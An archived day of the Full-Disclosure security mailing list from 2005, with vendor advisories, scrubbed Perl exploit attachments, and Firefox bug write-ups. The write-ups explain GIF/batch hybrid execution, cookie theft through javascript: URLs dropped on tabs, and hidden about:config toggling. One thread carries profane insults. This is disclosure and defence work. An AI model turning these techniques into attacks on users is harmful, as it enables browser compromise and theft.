http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.4_amd64.deb Size/MD5: 812968 af0a2933db8f46a5129c6809b8ead130 http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.4_amd64.deb Size/MD5: 71130 842ccd1c4a7c43f9bc25796ccae95300 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.4_i386.deb Size/MD5: 88300 49968f9c793659ba75b130686bb8f5cf http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.4_i386.deb Size/MD5: 728568 cdeab80c247ece7055bf4509026ea52b http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.4_i386.deb Size/MD5: 69876 ad4a1635432c3432d83b170823bd567d powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.4_powerpc.deb Size/MD5: 89240 9034d9683ddba32e4e8667401bc0854c http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.4_powerpc.deb Size/MD5: 796174 32314e33b9b2655065220692a63ab169 http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.4_powerpc.deb Size/MD5: 70624 cc8404f6a9b91018ce8b5b0e09f0416e -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/2f7a6029/attachment.bin From kf_lists at digitalmunition.com Mon Feb 7 16:41:45 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Mon, 07 Feb 2005 11:41:45 -0500 Subject: [Full-Disclosure] DMA[2005-0131b] - 'Setuid Perl PERLIO_DEBUG buffer overflow' Message-ID: <42079A49.50507@digitalmunition.com> Vendor Patches are expected soon. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: DMA[2005-0131b].txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/613d4526/attachment.txt -------------- next part -------------- A non-text attachment was scrubbed... Name: ex_perl2b.c Type: text/x-csrc Size: 4583 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/613d4526/attachment.bin From kf_lists at digitalmunition.com Mon Feb 7 16:41:43 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Mon, 07 Feb 2005 11:41:43 -0500 Subject: [Full-Disclosure] DMA[2005-0131a] - 'Setuid Perl PERLIO_DEBUG root owned file creation' Message-ID: <42079A47.3050605@digitalmunition.com> Vendor Patches are expected soon. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: DMA[2005-0131a].txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/24a67bb9/attachment.txt -------------- next part -------------- A non-text attachment was scrubbed... Name: ex_perl.c Type: text/x-csrc Size: 1966 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/24a67bb9/attachment.bin From measl at mfn.org Mon Feb 7 16:51:15 2005 From: measl at mfn.org (J.A. Terranson) Date: Mon, 7 Feb 2005 10:51:15 -0600 (CST) Subject: [Full-Disclosure] Administrivia: Goodbye In-Reply-To: <20050207154838.GA29521@netsys.com> References: <20050207154838.GA29521@netsys.com> Message-ID: <20050207105058.V22704@ubzr.zsa.bet> On Mon, 7 Feb 2005, Len Rose wrote: > I'm officially retiring from everything and no longer involved > in Full Disclosure or netsys.com as well. I am passing the baton > to John Cartwright my trusted associate and friend of many years > > It has been wonderful to have been a part of Full Disclosure > and I wish everyone the best. > > My email address len at netsys.com will eventually cease to work, > and I will not be on the net much if at all. > > Len Rose > ex-chief something or other. > len at netsys.com > http://www.netsys.com/ Good Riddance. -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF Civilization is in a tailspin - everything is backwards, everything is upside down- doctors destroy health, psychiatrists destroy minds, lawyers destroy justice, the major media destroy information, governments destroy freedom and religions destroy spirituality - yet it is claimed to be healthy, just, informed, free and spiritual. We live in a social system whose community, wealth, love and life is derived from alienation, poverty, self-hate and medical murder - yet we tell ourselves that it is biologically and ecologically sustainable. The Bush plan to screen whole US population for mental illness clearly indicates that mental illness starts at the top. Rev Dr Michael Ellner From ge at linuxbox.org Mon Feb 7 17:21:47 2005 From: ge at linuxbox.org (Gadi Evron) Date: Mon, 07 Feb 2005 19:21:47 +0200 Subject: [Full-Disclosure] Administrivia: Goodbye In-Reply-To: <20050207154838.GA29521@netsys.com> References: <20050207154838.GA29521@netsys.com> Message-ID: <4207A3AB.8090901@linuxbox.org> Len Rose wrote: > I'm officially retiring from everything and no longer involved > in Full Disclosure or netsys.com as well. I am passing the baton > to John Cartwright my trusted associate and friend of many years > > It has been wonderful to have been a part of Full Disclosure > and I wish everyone the best. > > My email address len at netsys.com will eventually cease to work, > and I will not be on the net much if at all. You are a low-key moderator (like a moderator should be), and I may not agree with the management ideology of this list, but you are a very good moderator and you contribution here will stay and live on. You will be missed. Gadi. From se_cur_ity at hotmail.com Mon Feb 7 17:27:25 2005 From: se_cur_ity at hotmail.com (morning_wood) Date: Mon, 7 Feb 2005 09:27:25 -0800 Subject: [Full-Disclosure] re: Microsoft Outlook Web Access URL Injection Message-ID: looks like MS is NOT publicly releasing a fix for this, while they have the means and solution at hand. ( at least under IE ) a kind reader sent this little snippet... "... was able to get Microsoft to provide us with a DLL to drop under IIS 6 to compare URL variable against the Host: header variable and do 302 to web root if they are not similar. This fixed the problem, however, I doubt that Microsoft will make this patch available to the public." what happend to MS commitment to security??? ugg, m.w From kf_lists at digitalmunition.com Mon Feb 7 17:28:51 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Mon, 07 Feb 2005 12:28:51 -0500 Subject: [Full-Disclosure] Administrivia: Goodbye In-Reply-To: <20050207105058.V22704@ubzr.zsa.bet> References: <20050207154838.GA29521@netsys.com> <20050207105058.V22704@ubzr.zsa.bet> Message-ID: <4207A553.7070203@digitalmunition.com> Eat a dick buddy... show some respect for the man. -KF > >Good Riddance. > > > From ge at linuxbox.org Mon Feb 7 17:30:50 2005 From: ge at linuxbox.org (Gadi Evron) Date: Mon, 07 Feb 2005 19:30:50 +0200 Subject: [Full-Disclosure] Administrivia: Goodbye In-Reply-To: <20050207105058.V22704@ubzr.zsa.bet> References: <20050207154838.GA29521@netsys.com> <20050207105058.V22704@ubzr.zsa.bet> Message-ID: <4207A5CA.3060605@linuxbox.org> > Good Riddance. And you being able to send this here, is exactly why Len deserves a lot of credit, you are a kiddie and an asshole and why I disagree with him. [in not particular order] Gadi. From mikx at mikx.de Mon Feb 7 17:48:08 2005 From: mikx at mikx.de (mikx) Date: Mon, 7 Feb 2005 18:48:08 +0100 Subject: [Full-Disclosure] Firedragging [Firefox 1.0] Message-ID: <03ba01c50d3d$30c9b9e0$4a00030a@netvision.ads> __Summary Usually Firefox does not allow that an executable, non-image file gets directly dragged to the desktop (e.g. by supplying malware.exe as the src of an image tag). Instead Firefox creates a link to the file on the desktop. If you create a hybrid of a gif image and a batch file you can trick Firefox. Since the hybrid renders as a valid image, Firefox tries to copy the image to the desktop when dropped. By creating the image dynamicly and forcing the content type image/gif, the file can be of any extension (e.g. image.bat or image.exe). The windows batch file parser is pretty forgiving. It just ignores the first line of "gif trash" and executes whatever you append to the end of the hybrid file. Since windows hides known file extensions by default, a user can only tell that something went wrong by looking at the file icon, which is different of course. If the user does not care or know what this different icon means, a double click to view or edit the "image" he just dropped executes the batch file instead. __Proof-of-Concept http://www.mikx.de/firedragging/ __Status The bug is marked as fixed in bugzilla. Get a nightly build, compile on your own or wait for Firefox 1.0.1. 2005-01-26 Vendor informed (bugzilla.mozilla.org #279945) 2005-01-31 Vendor confirmed bug 2005-02-03 Vendor fixed bug 2005-02-07 Public disclosure The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0230 to this issue. __Affected Software Tested with Firefox 1.0 and Mozilla 1.7.5 __Contact Informations Michael Krax http://www.mikx.de/?p=8 mikx From mikx at mikx.de Mon Feb 7 17:50:23 2005 From: mikx at mikx.de (mikx) Date: Mon, 7 Feb 2005 18:50:23 +0100 Subject: [Full-Disclosure] Firetabbing [Firefox 1.0] Message-ID: <03eb01c50d3d$8042e140$4a00030a@netvision.ads> __Summary The javascript security manager usually prevents that a javascript: URL from one host is opened in a window displaying content from another host. But when the link is dropped to a tab, the security manager does not kick in. This can lead to several security problems scaling from stealing session cookies to the ability to run arbitrary code on the client system (depending on the displayed site or security setttings). Tabbed browsing is a great feature to organize mutliple website, but after a while also tabs become too much. Now you have two options: Close tabs and open new ones (CTRL+W to close a tab, followed by a CTRL+click on a link to open a new one), or just recycle already open tabs by dragging links to them - the solution i prefer. __Proof-of-Concept http://www.mikx.de/firetabbing/ __Status The bug is marked as fixed in bugzilla. Get a nightly build, compile on your own or wait for Firefox 1.0.1. 2005-01-27 Vendor informed (bugzilla.mozilla.org #280056) 2005-01-28 Vendor confirmed bug 2005-02-05 Vendor fixed bug 2005-02-07 Public disclosure The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0231 to this issue. __Affected Software Tested with Firefox 1.0 and Mozilla 1.7.5 __Contact Informations Michael Krax http://www.mikx.de/?p=9 mikx From mikx at mikx.de Mon Feb 7 17:52:12 2005 From: mikx at mikx.de (mikx) Date: Mon, 7 Feb 2005 18:52:12 +0100 Subject: [Full-Disclosure] Fireflashing [Firefox 1.0] Message-ID: <040401c50d3d$c175dbe0$4a00030a@netvision.ads> __Summary Using plugins like Flash and the -moz-opacity filter it is possible to display the about:config site in a hidden frame or a new window. By making the user double-click at a specific screen position (e.g. using a DHTML game) you can silently toggle the status of boolean config parameters. As long as the number of about:config parameters is unchanged (unlikely a casual user will change them) you can move the parameter you want to the specified screen position by using CSS. You can also load about:config using the real player plugin and merged url events. See the real producer documentation for details and merge a command like "u 0:0:0:0.0 0:0:0:30.0 &&targetframe&&about:config" __Proof-of-Concept http://www.mikx.de/fireflashing/ __Status The bug is marked as fixed in bugzilla. Get a nightly build, compile on your own or wait for Firefox 1.0.1. 2005-02-01 Vendor informed (bugzilla.mozilla.org #280664) 2005-02-01 Vendor confirmed bug 2005-02-04 Vendor fixed bug 2005-02-07 Public disclosure The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0232 to this issue. __Affected Software Tested with Firefox 1.0 and Mozilla 1.7.5 __Contact Informations Michael Krax http://www.mikx.de/?p=10 mikx From gerald at holl.co.at Mon Feb 7 18:40:49 2005 From: gerald at holl.co.at (Gerald Holl) Date: Mon, 07 Feb 2005 19:40:49 +0100 Subject: [Full-Disclosure] state of homograph attacks In-Reply-To: References: Message-ID: <4207B631.3030903@holl.co.at> fulldisclosure at cubesearch.com wrote: > V. Workaround > > You can disable IDN support in mozilla products by setting > 'network.enableIDN' to false. There is no workaround known for Opera or > Safari. Hello, I use Firefox 1.0 on GNU/Linux but the workaround doesn't work if I close the browser. No idea what's wrong ... cheers, Gerald From please_reply_to_security at sco.com Mon Feb 7 19:48:14 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Mon, 7 Feb 2005 11:48:14 -0800 Subject: [Full-Disclosure] OpenServer 5.0.6 OpenServer 5.0.7 : Vulnerabilities in long-lived TCP connections / Rose attack Message-ID: <20050207114814.A697@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenServer 5.0.6 OpenServer 5.0.7 : Vulnerabilities in long-lived TCP connections / Rose attack Advisory number: SCOSA-2005.9 Issue date: 2005 February 07 Cross reference: sr890287 fz528415 erg712606 sr890248 fz529385 erg712599 ______________________________________________________________________________ 1. Problem Description TCP, when using a large Window Size, makes it easier for remote attackers to guess sequence numbers and cause a denial of service (connection loss) to persistent TCP connections by repeatedly injecting a TCP RST packet, especially in protocols that use long-lived connections, such as BGP. Reference : NISCC Vulnerability Advisory 236929 Reference : CERT Technical Cyber Security Alert TA04-111A The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0230 to this issue. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- OpenServer 5.0.6 /usr/lib/tcprt/ID/ip/Driver.o /usr/lib/tcprt/ID/ip/Space.c /usr/include/sys/netinet/ip_var.h OpenServer 5.0.7 /usr/lib/tcprt/ID/ip/Driver.o /usr/lib/tcprt/ID/ip/Space.c /usr/include/sys/netinet/ip_var.h 3. Solution The proper solution is to install the latest packages. 4. OpenServer 5.0.6 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.9 4.2 Verification MD5 (VOL.000.000) = 472ab4332103f16740c817e546236065 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1) Download the VOL* files to a directory 2) Run the custom command, specify an install from media images, and specify the directory as the location of the images. 5. OpenServer 5.0.7 5.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.9 5.2 Verification MD5 (VOL.000.000) = 472ab4332103f16740c817e546236065 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1) Download the VOL* files to a directory 2) Run the custom command, specify an install from media images, and specify the directory as the location of the images. 6. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0230 http://www.uniras.gov.uk/niscc/docs/al-20040420-00199.html?lang=en http://www.us-cert.gov/cas/techalerts/TA04-111A.html SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr890287 fz528415 erg712606 sr890248 fz529385 erg712599. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgments SCO would like to thank NISCC, Steve Bellovin, Rob Thomas and Paul Watson, Cisco Systems Inc. and Juniper Networks Inc. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFCBGrKaqoBO7ipriERAm/wAJ9AriP0TeCz2JVR54YwveNgzYSNWwCfR1QC BCAAOBHlbAhOiAbIWxk2iiI= =j4tP -----END PGP SIGNATURE----- From please_reply_to_security at sco.com Mon Feb 7 19:48:34 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Mon, 7 Feb 2005 11:48:34 -0800 Subject: [Full-Disclosure] UnixWare 7.1.3 UnixWare 7.1.1 : Vulnerabilities in long-lived TCP connections / Rose attack Message-ID: <20050207114834.A736@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: UnixWare 7.1.3 UnixWare 7.1.1 : Vulnerabilities in long-lived TCP connections / Rose attack Advisory number: SCOSA-2005.14 Issue date: 2005 February 07 Cross reference: sr890247 fz529384 erg712598 sr890286 fz529414 erg712605 ______________________________________________________________________________ 1. Problem Description TCP, when using a large Window Size, makes it easier for remote attackers to guess sequence numbers and cause a denial of service (connection loss) to persistent TCP connections by repeatedly injecting a TCP RST packet, especially in protocols that use long-lived connections, such as BGP. Reference : NISCC Vulnerability Advisory 236929 Reference : CERT Technical Cyber Security Alert TA04-111A The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0230 to this issue. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- UnixWare 7.1.3 /etc/conf/pack.d/inet/Driver_atup.o /etc/conf/pack.d/inet/Driver_mp.o /etc/conf/pack.d/inet/space.c /usr/include/netinet/ip_var.h UnixWare 7.1.1 /etc/conf/pack.d/inet/Driver_atup.o /etc/conf/pack.d/inet/Driver_mp.o /etc/conf/pack.d/inet/space.c /usr/include/netinet/ip_var.h 3. Solution The proper solution is to install the latest packages. 4. UnixWare 7.1.3 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.14 4.2 Verification MD5 (erg712598.pkg.Z) = c037e34427caf7f752eac2680f7dd29a md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download erg712598.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/erg712598.pkg.Z # pkgadd -d /var/spool/pkg/erg712598.pkg 5. UnixWare 7.1.1 5.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.14 5.2 Verification MD5 (erg712598.711.pkg.Z) = 010281cae30aec75daa9b03b1ebbb522 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download erg712598.711.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/erg712598.711.pkg.Z # pkgadd -d /var/spool/pkg/erg712598.711.pkg 6. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0230 http://www.uniras.gov.uk/niscc/docs/al-20040420-00199.html?lang=en http://www.us-cert.gov/cas/techalerts/TA04-111A.html SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr890247 fz529384 erg712598 sr890286 fz529414 erg712605. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgments SCO would like to thank NISCC, Steve Bellovin, Rob Thomas and Paul Watson, Cisco Systems Inc. and Juniper Networks Inc. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFCBBLfaqoBO7ipriERAjQsAKChGoyGEXEATXFEfzcdJs9rRGJUHQCdEpyN XnnKtGQOwKRJqqQQyXEV+yk= =96m9 -----END PGP SIGNATURE----- From Valdis.Kletnieks at vt.edu Mon Feb 7 19:26:27 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 07 Feb 2005 14:26:27 -0500 Subject: [Full-Disclosure] re: Microsoft Outlook Web Access URL Injection In-Reply-To: Your message of "Mon, 07 Feb 2005 09:27:25 PST." References: Message-ID: <200502071926.j17JQRej018919@turing-police.cc.vt.edu> On Mon, 07 Feb 2005 09:27:25 PST, morning_wood said: > looks like MS is NOT publicly releasing a fix for this, while they have the > means and solution at hand. > ( at least under IE ) > a kind reader sent this little snippet... > > "... was able to get Microsoft to provide us with a DLL > to drop under IIS 6 to compare URL variable against the Host: header > variable and do 302 to web root if they are not similar. This fixed the > problem, however, I doubt that Microsoft will make this patch available to > the public." > > what happend to MS commitment to security??? They figured they'd spent the budget for the quarter for PR proclaiming their commitment to security. Remember - they're nowhere near as committed to security as they are to the bottom line. A $20M PR campaign will sway a lot of managers, while a $200M project to actually fix things won't be noticed. Which would *you* choose if you were them? (Note that this is heavily dependent on corporate culture - for instance, if some VP at Google tried that same money-saving stunt, he'd probably get called in, pointed at the "Don't be evil" sign, and told to find some OTHER way to save the $180M... But as far as I know, there isn't any such sign in Redmond....) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/462afbdc/attachment.bin From richard at unixboxen.net Mon Feb 7 19:06:18 2005 From: richard at unixboxen.net (Richard Jacobsen) Date: Mon, 7 Feb 2005 11:06:18 -0800 Subject: [Full-Disclosure] state of homograph attacks In-Reply-To: <4207B631.3030903@holl.co.at>; from gerald@holl.co.at on Mon, Feb 07, 2005 at 07:40:49PM +0100 References: <4207B631.3030903@holl.co.at> Message-ID: <20050207110618.R5279@tictactoe.unixboxen.net> For some reason, manually adding it to prefs.js with a text editor did not work for me. However, configuring it from about:config worked for me. Open up firefox, put about:config into the address bar, and then change network.enableIDN to false by double clicking on it. If it is working successfully, you should get a message "domainname.com could not be found" when clicking on an IDN link. You shouldn't need to restart your browser. Richard On Mon, Feb 07, 2005 at 07:40:49PM +0100, Gerald Holl wrote: > fulldisclosure at cubesearch.com wrote: > > V. Workaround > > > > You can disable IDN support in mozilla products by setting > > 'network.enableIDN' to false. There is no workaround known for Opera or > > Safari. > > Hello, > > I use Firefox 1.0 on GNU/Linux but the workaround doesn't work if I > close the browser. No idea what's wrong ... > > cheers, > Gerald > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > -- "a professional is simply one who gets paid for doing what an amateur does for love." -- Ursula K. Le Guin From lewk at gentoo.org Mon Feb 7 19:32:47 2005 From: lewk at gentoo.org (Luke Macken) Date: Mon, 7 Feb 2005 14:32:47 -0500 Subject: [Full-Disclosure] [ GLSA 200502-08 ] PostgreSQL: Local privilege escalation Message-ID: <20050207193247.GA25855@tomservo> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200502-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: PostgreSQL: Local privilege escalation Date: February 07, 2005 Bugs: #80342 ID: 200502-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== The PostgreSQL server can be tricked by a local attacker to execute arbitrary code. Background ========== PostgreSQL is a SQL compliant, open source object-relational database management system. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 dev-db/postgresql < 7.4.7 >= 7.4.7 Description =========== PostgreSQL's LOAD extension is vulnerable to a local privilege escalation discovered by John Heasman. A local user can load any shared library, but the initialization function will then be executed with the permissions of the PostgreSQL server. Impact ====== A malicious local user could exploit this to execute arbitrary code with the privileges of the PostgreSQL server. Workaround ========== There is no know workaround at this time. Resolution ========== All PostgreSQL users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=dev-db/postgresql-7.4.7" References ========== [ 1 ] PostgreSQL Announcement http://archives.postgresql.org/pgsql-announce/2005-02/msg00000.php Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200502-08.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/7093a03c/attachment.bin From nick at virus-l.demon.co.uk Mon Feb 7 19:36:45 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Tue, 08 Feb 2005 08:36:45 +1300 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <0c7e28bdc0a8f296612fb8dce1dbabf7@xslf.com> References: <4205FC4E.18353.30924D8@localhost> Message-ID: <42087A1D.10156.CC468C7@localhost> Shoshannah Forbes to me: > > Known virus scanning > > is a far from perfect method for achieving this, but as the only > > intelligent method of achieving it has been entirely disregarded by > > users, AV and OS developers, scanning is pretty much what we are left > > with. > > To which method are you referring here? For lack of a better name -- after all, this is a technology that has hardly been investigated -- I refer to this as integrity management. Basically you turn known virus scanning on its head to have the on- access scanner only allow known good code to run, rather than trying to do the impossible of finding all possible permutations of all possible (known) "bad" code. This can easily be done using the existing technology, but instead of depending on the a vendor to find new bad things, add detection of them and ship that update _finally_ giving the user protection, the user supplies their own list of _allowable_ code and new code can be run once the administrator updates their own, of allowable code database . (There are other clever things such a re- purposing of this technology neatly allows too -- for example, such technology could easily be configured to block access to all files of a given type; it can be easily used to track software usage for auditing and licensing checking; etc, etc...) Fred Cohen realized this was the only intelligent way to do things two decades ago, but couldn't sell a product based on the idea at the time (he used the term "integrity shell" and may have even called his product "Integrity Shell"). Admittedly, this was a DOS product (there may have been Unix versions too?) and the time was one of _very_ limited system resources, no protected memory, no OS-provided security services or privilege separations, etc _AND_ the height of the first period of explosive growth of PC usage, where PCs were either not networked at all or only connected to isolated LANs. The Internet existed but worms, viruses and other mobile malicious code were all but non-existent and the "it will never happen to me" attitude reigned... -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3267092 From bkfsec at sdf.lonestar.org Mon Feb 7 19:58:07 2005 From: bkfsec at sdf.lonestar.org (bkfsec) Date: Mon, 07 Feb 2005 14:58:07 -0500 Subject: [Full-Disclosure] Software Licenses and compression (was: Multiple AV Vendors ignoring tar.gz archives) In-Reply-To: <1107652741.22051.18.camel@anubis> References: <4205FC4E.18353.30924D8@localhost> <1107652741.22051.18.camel@anubis> Message-ID: <4207C84F.8040305@sdf.lonestar.org> James Eaton-Lee wrote: >Add to this the fact that implementing archive support in an antivirus >package isn't as simple as it might seem; although bz2 is released under >a BSD license, gzip isn't - it's GPL, and therefore any antivirus vendor >would have to write their gzip code totally from scratch. > Now this is a non-sequitor. It's a non-sequitor for two reasons: 1) It's irrelivent and 2) It's wrong. First, it's irrelivent because if this is a percieved weakness of an antivirus package (and I can see how someone can see it as undesirable under certain conditions, though not all conditions) then its implementation isn't the concern of the reporter. We know that it can be done and, if it's of high enough value, it should be done -- irregardless of whether they get the code from a third party or write it themselves. Second, it's wrong for a couple of reasons. Yes, they would not be able to take GNU gzip and implant the code into a proprietary application. However, that does not bar them from utilizing and distributing GNU Gzip with their application. If they were to wish to use GNU Gzip, there are ways that they could engineer that into their product without causing licensing issues. They could simply use gzip/tar to gunzip/untar the package as a stream and pass that into their preprocessor for analysis in their sandbox. That would require no cross-polination of the licenses and would leave the third party software intact. These kinds of arrangements are actually quite frequent in the world of software design. Further, it's not like the gzip compression algorithm of some kind of guarded secret proprietary protocol. It's a standard protocol and there are a number of proprietary implementations that could be licensed for use in proprietary programs. In either case, including third-party software into a security product can be a gambit and, as such, that code has to be heavily audited in order to be included into the software suite. Or, at least, it should be heavily audited. Anyway, they wouldn't be able to just take bzip2 and place it directly into the source of the AV system either. Interfaces have to be crafted and tested, in order to be consistent. You also have to take into account differences in the programming environment for the AV/Compression scheme and optimizational concerns. In the end, your point in trying to differentiate the GNU GPL from the BSD license here is completely and totally moot. It does nothing but predicate misunderstandings concerning the GNU GPL and further cloud this potential security issue. -Barry From barrie at reboot-robot.net Mon Feb 7 20:24:40 2005 From: barrie at reboot-robot.net (Barrie Dempster) Date: Mon, 07 Feb 2005 20:24:40 +0000 Subject: [Full-Disclosure] Re: SSH probe attack afoot? In-Reply-To: <200502061509.j16F9mJC004330@mail.rev.net> References: <200502061509.j16F9mJC004330@mail.rev.net> Message-ID: <1107807880.5021.16.camel@localhost.localdomain> On Sun, 2005-02-06 at 10:09 -0500, Bernie Cosell wrote: > We're now getting hammered with the third round of ssh probes in the last > four days [one from CA, one from Brazil and one from Virginia]. I was > wondering: is there some virus or the like floating around now that > leaves an ssh-hammering zombie in its wake? Or is it just coincidental > that we have gotten three floods? > > [the probes are just dozens of random-seeming login attempts with a bunch > of root-password-guesses interspersed] > > /Bernie\ Multiple SSH brute force tools,which has been covered on this list and others a few times over the last year. http://www.securityfocus.com/archive/75/200407271059.11940.robin at kallisti.net.nz/2005-02-04/2005-02-10/0 http://www.google.com/search?num=100&hl=en&safe=off&q=ssh+brute +force&spell=1 -- With Regards.. Barrie Dempster (zeedo) - Fortiter et Strenue blog: http://zeedo.blogspot.com site: http://www.bsrf.org.uk [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/63a1c4eb/attachment.bin From Valdis.Kletnieks at vt.edu Mon Feb 7 20:25:31 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 07 Feb 2005 15:25:31 -0500 Subject: [Full-Disclosure] state of homograph attacks In-Reply-To: Your message of "Mon, 07 Feb 2005 11:06:18 PST." <20050207110618.R5279@tictactoe.unixboxen.net> References: <4207B631.3030903@holl.co.at> <20050207110618.R5279@tictactoe.unixboxen.net> Message-ID: <200502072025.j17KPVsc022370@turing-police.cc.vt.edu> On Mon, 07 Feb 2005 11:06:18 PST, Richard Jacobsen said: > Open up firefox, put about:config into the address bar, and then change > network.enableIDN to false by double clicking on it. If it is working > successfully, you should get a message "domainname.com could not be found" > when clicking on an IDN link. You shouldn't need to restart your browser. The actual bug referenced by Gerald is that if you use about:config to set it, it *works* without having to restart, but at the next restart of the browser, the setting no longer works... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/290d0d8f/attachment.bin From bkfsec at sdf.lonestar.org Mon Feb 7 20:32:20 2005 From: bkfsec at sdf.lonestar.org (bkfsec) Date: Mon, 07 Feb 2005 15:32:20 -0500 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <1107706559.9514.20.camel@anubis> References: <4205FC4E.18353.30924D8@localhost> 